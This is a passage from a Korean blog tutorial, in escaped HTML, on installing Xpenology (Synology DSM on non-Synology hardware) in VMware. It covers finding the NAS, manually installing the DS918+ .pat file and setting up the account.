&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;5.png&quot; data-origin-width=&quot;637&quot; data-origin-height=&quot;385&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yjITr/btqTPyhB71y/E9dW6JVpTjAC4BhetbVERK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yjITr/btqTPyhB71y/E9dW6JVpTjAC4BhetbVERK/img.png&quot; data-alt=&quot;설정 끝&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yjITr/btqTPyhB71y/E9dW6JVpTjAC4BhetbVERK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyjITr%2FbtqTPyhB71y%2FE9dW6JVpTjAC4BhetbVERK%2Fimg.png&quot; data-filename=&quot;5.png&quot; data-origin-width=&quot;637&quot; data-origin-height=&quot;385&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;설정 끝&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot;&gt;&lt;b&gt;Xpenology 설치&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이제 VMware를 시작한다.&lt;/p&gt;
&lt;p&gt;딱히 해줄건 없다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;8.png&quot; data-origin-width=&quot;674&quot; data-origin-height=&quot;328&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cTQQ3m/btqTELXC4DN/8mkeggUZcMVgM63Y5GL9M0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cTQQ3m/btqTELXC4DN/8mkeggUZcMVgM63Y5GL9M0/img.png&quot; data-alt=&quot;Xpenology 부팅 화면. 이게 전부다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cTQQ3m/btqTELXC4DN/8mkeggUZcMVgM63Y5GL9M0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcTQQ3m%2FbtqTELXC4DN%2F8mkeggUZcMVgM63Y5GL9M0%2Fimg.png&quot; data-filename=&quot;8.png&quot; data-origin-width=&quot;674&quot; data-origin-height=&quot;328&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Xpenology 부팅 화면. 이게 전부다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이제 웹으로 접속하여&lt;/p&gt;
&lt;p&gt;설치를 해야한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;1. http://find.synology.com 접속&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;or&lt;br /&gt;&lt;b&gt;&lt;br /&gt;2. 집 공유기를 통해 Xpenlogy IP 확인&lt;/b&gt;&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;설치화면에 안내된 주소로 접속한다.&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Link: &lt;a href=&quot;http://find.synology.com&quot;&gt;http://find.synology.com&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1610796586447&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Synology Web Assistant&quot; data-og-description=&quot;&quot; data-og-host=&quot;find.synology.com&quot; data-og-source-url=&quot;http://find.synology.com&quot; data-og-url=&quot;http://find.synology.com&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;http://find.synology.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;http://find.synology.com&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot;&gt;Synology Web Assistant&lt;/p&gt;
&lt;p class=&quot;og-desc&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;og-host&quot;&gt;find.synology.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;접속하면 자동으로 검색을 시작하는 데&lt;/p&gt;
&lt;p&gt;검색이 끝나면&lt;/p&gt;
&lt;p&gt;아래와 같이 Xpenology의 정보가 나타난다.&lt;/p&gt;
&lt;p&gt;아래 연결을 클릭하여 접속할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;658&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rVMzF/btqTNA7Qp6S/SGxNZPyb39nUeY3T1VkDeK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rVMzF/btqTNA7Qp6S/SGxNZPyb39nUeY3T1VkDeK/img.png&quot; data-alt=&quot;DiskStation 정보&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rVMzF/btqTNA7Qp6S/SGxNZPyb39nUeY3T1VkDeK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrVMzF%2FbtqTNA7Qp6S%2FSGxNZPyb39nUeY3T1VkDeK%2Fimg.png&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;658&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;DiskStation 정보&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;공유기에 나타난 IP를 찾아 접속할 수도 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;640&quot; data-origin-height=&quot;376&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kS6FZ/btqTNByU1O9/etWui4jZRp9cTtQFkTk9A1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kS6FZ/btqTNByU1O9/etWui4jZRp9cTtQFkTk9A1/img.png&quot; data-alt=&quot;DiskStation의 IP 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kS6FZ/btqTNByU1O9/etWui4jZRp9cTtQFkTk9A1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkS6FZ%2FbtqTNByU1O9%2FetWui4jZRp9cTtQFkTk9A1%2Fimg.png&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;640&quot; data-origin-height=&quot;376&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;DiskStation의 IP 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;DiskStation으로 접속한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;http://&amp;lt;DiskStation IP&amp;gt;:5000&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;접속한 후 설정을 클릭한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;517&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l5BcG/btqTNz8WsQ5/tLwXkm712LAVax6UaH153k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l5BcG/btqTNz8WsQ5/tLwXkm712LAVax6UaH153k/img.png&quot; data-alt=&quot;설정 클릭&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l5BcG/btqTNz8WsQ5/tLwXkm712LAVax6UaH153k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl5BcG%2FbtqTNz8WsQ5%2FtLwXkm712LAVax6UaH153k%2Fimg.png&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;517&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;설정 클릭&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;수동 설치를 클릭한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;601&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cERAbf/btqTF2x0GHt/Ob6B1CBYH55miqjCdBrHk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cERAbf/btqTF2x0GHt/Ob6B1CBYH55miqjCdBrHk0/img.png&quot; data-alt=&quot;수동 설치 클릭&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cERAbf/btqTF2x0GHt/Ob6B1CBYH55miqjCdBrHk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcERAbf%2FbtqTF2x0GHt%2FOb6B1CBYH55miqjCdBrHk0%2Fimg.png&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;601&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;수동 설치 클릭&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;미리 다운받은 DS 918+ 설치파일이 있으면,&lt;/p&gt;
&lt;p&gt;선택하여 설치한다.&lt;/p&gt;
&lt;p&gt;&lt;u&gt;&lt;b&gt;DSM_DS918+_25426.pat&lt;/b&gt;&lt;/u&gt; 파일이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;5.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;601&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHoFhr/btqTF3w5cpx/ufjyE3Lc6wxEwAwKOrGNNk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHoFhr/btqTF3w5cpx/ufjyE3Lc6wxEwAwKOrGNNk/img.png&quot; data-alt=&quot;설치 파일(.pat) 선택&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHoFhr/btqTF3w5cpx/ufjyE3Lc6wxEwAwKOrGNNk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHoFhr%2FbtqTF3w5cpx%2FufjyE3Lc6wxEwAwKOrGNNk%2Fimg.png&quot; data-filename=&quot;5.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;601&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;설치 파일(.pat) 선택&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;다운받은 파일이 없다면,&lt;/p&gt;
&lt;p&gt;&lt;u&gt;&lt;b&gt;Synology 의 다운로드 센터&lt;/b&gt;&lt;/u&gt;를 클릭하거나,&lt;/p&gt;
&lt;p&gt;아래 링크에서 받으면 된다.&lt;/p&gt;
&lt;p&gt;Link: &lt;a href=&quot;https://www.synology.com/ko-kr/support/download/DS918+#system&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;www.synology.com/ko-kr/support/download/DS918+#system&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1610797682101&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-og-type=&quot;website&quot; data-og-title=&quot;다운로드 센터 - DS918+ | Synology Inc.&quot; data-og-description=&quot;다운로드 센터 Synology 제품을 위한 운영 체제, 패키지, 데스크톱 유틸리티 등과 관련된 문서와 파일을 찾아 다양한 최신 기능을 사용할 수 있습니다. 사용하는 제품 범주와 해당 모델을 선택하십&quot; data-og-host=&quot;www.synology.com&quot; data-og-source-url=&quot;https://www.synology.com/ko-kr/support/download/DS918+#system&quot; data-og-url=&quot;https://www.synology.com/ko-kr/support/download/DS918+#system&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://www.synology.com/ko-kr/support/download/DS918+#system&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.synology.com/ko-kr/support/download/DS918+#system&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot;&gt;다운로드 센터 - DS918+ | Synology Inc.&lt;/p&gt;
&lt;p class=&quot;og-desc&quot;&gt;다운로드 센터 Synology 제품을 위한 운영 체제, 패키지, 데스크톱 유틸리티 등과 관련된 문서와 파일을 찾아 다양한 최신 기능을 사용할 수 있습니다. 사용하는 제품 범주와 해당 모델을 선택하십&lt;/p&gt;
&lt;p class=&quot;og-host&quot;&gt;www.synology.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;6.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;919&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cgOTm2/btqTJmW9pm0/IgvSRupBi9uBQaf9FX3S90/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cgOTm2/btqTJmW9pm0/IgvSRupBi9uBQaf9FX3S90/img.png&quot; data-alt=&quot;설치파일 다운로드(.pat 파일)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cgOTm2/btqTJmW9pm0/IgvSRupBi9uBQaf9FX3S90/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcgOTm2%2FbtqTJmW9pm0%2FIgvSRupBi9uBQaf9FX3S90%2Fimg.png&quot; data-filename=&quot;6.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;919&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;설치파일 다운로드(.pat 파일)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;나는 참고로...&lt;/p&gt;
&lt;p&gt;딱히 다운받지 않고 그냥 설치를 진행했다...&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;8.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;584&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mysdx/btqTKLPBAcd/54QOmT8YGjv2Z2t9uxoDtK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mysdx/btqTKLPBAcd/54QOmT8YGjv2Z2t9uxoDtK/img.png&quot; data-alt=&quot;설치 진행 중, 10분 정도 걸린다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mysdx/btqTKLPBAcd/54QOmT8YGjv2Z2t9uxoDtK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fmysdx%2FbtqTKLPBAcd%2F54QOmT8YGjv2Z2t9uxoDtK%2Fimg.png&quot; data-filename=&quot;8.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;584&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;설치 진행 중, 10분 정도 걸린다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;다시 시작 중이다...&lt;/p&gt;
&lt;p&gt;두근두근...&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;9.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;549&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ELHjr/btqTF3X1yDD/JInvyLV8tg37YjSp5rNbHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ELHjr/btqTF3X1yDD/JInvyLV8tg37YjSp5rNbHk/img.png&quot; data-alt=&quot;두근두근...&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ELHjr/btqTF3X1yDD/JInvyLV8tg37YjSp5rNbHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FELHjr%2FbtqTF3X1yDD%2FJInvyLV8tg37YjSp5rNbHk%2Fimg.png&quot; data-filename=&quot;9.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;549&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;두근두근...&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot;&gt;Xpenology 접속&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;다시 &lt;a href=&quot;http://find.synolgoy.com&quot;&gt;http://find.synolgoy.com&lt;/a&gt; 에 접속하면,&lt;/p&gt;
&lt;p&gt;IP가 바뀐 것을 알 수 있다.&lt;/p&gt;
&lt;p&gt;바뀐 IP로 접속한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;561&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ppDnu/btqTNzVpvFP/NwMoBXlxsK9av7Uvy0xJU0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ppDnu/btqTNzVpvFP/NwMoBXlxsK9av7Uvy0xJU0/img.png&quot; data-alt=&quot;IP가 바뀌었다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ppDnu/btqTNzVpvFP/NwMoBXlxsK9av7Uvy0xJU0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FppDnu%2FbtqTNzVpvFP%2FNwMoBXlxsK9av7Uvy0xJU0%2Fimg.png&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;561&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;IP가 바뀌었다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;처음 접속하면&lt;/p&gt;
&lt;p&gt;NAS의 이름과 계정을 설정한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;562&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/75O4s/btqTPznjJUA/Dk0pGDsZyCgUE6bQsTgh0K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/75O4s/btqTPznjJUA/Dk0pGDsZyCgUE6bQsTgh0K/img.png&quot; data-alt=&quot;서버 이름과 계정 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/75O4s/btqTPznjJUA/Dk0pGDsZyCgUE6bQsTgh0K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F75O4s%2FbtqTPznjJUA%2FDk0pGDsZyCgUE6bQsTgh0K%2Fimg.png&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;562&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;서버 이름과 계정 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;u&gt;&lt;b&gt;QuickConnect는 정품 사용자용 기능&lt;/b&gt;&lt;/u&gt;이기 때문에&lt;/p&gt;
&lt;p&gt;아래 &lt;u&gt;이 단계 건너뛰기&lt;/u&gt;&lt;b&gt;를 클릭&lt;/b&gt;한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;570&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tCHUS/btqTDJFPEJw/1AlLW3jTeyKqOd2MgkNEtK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tCHUS/btqTDJFPEJw/1AlLW3jTeyKqOd2MgkNEtK/img.png&quot; data-alt=&quot;이 단계 건너뛰기&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tCHUS/btqTDJFPEJw/1AlLW3jTeyKqOd2MgkNEtK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtCHUS%2FbtqTDJFPEJw%2F1AlLW3jTeyKqOd2MgkNEtK%2Fimg.png&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;570&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;이 단계 건너뛰기&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;find.synolgoy.com은 원하는 데로 하면 된다.&lt;/p&gt;
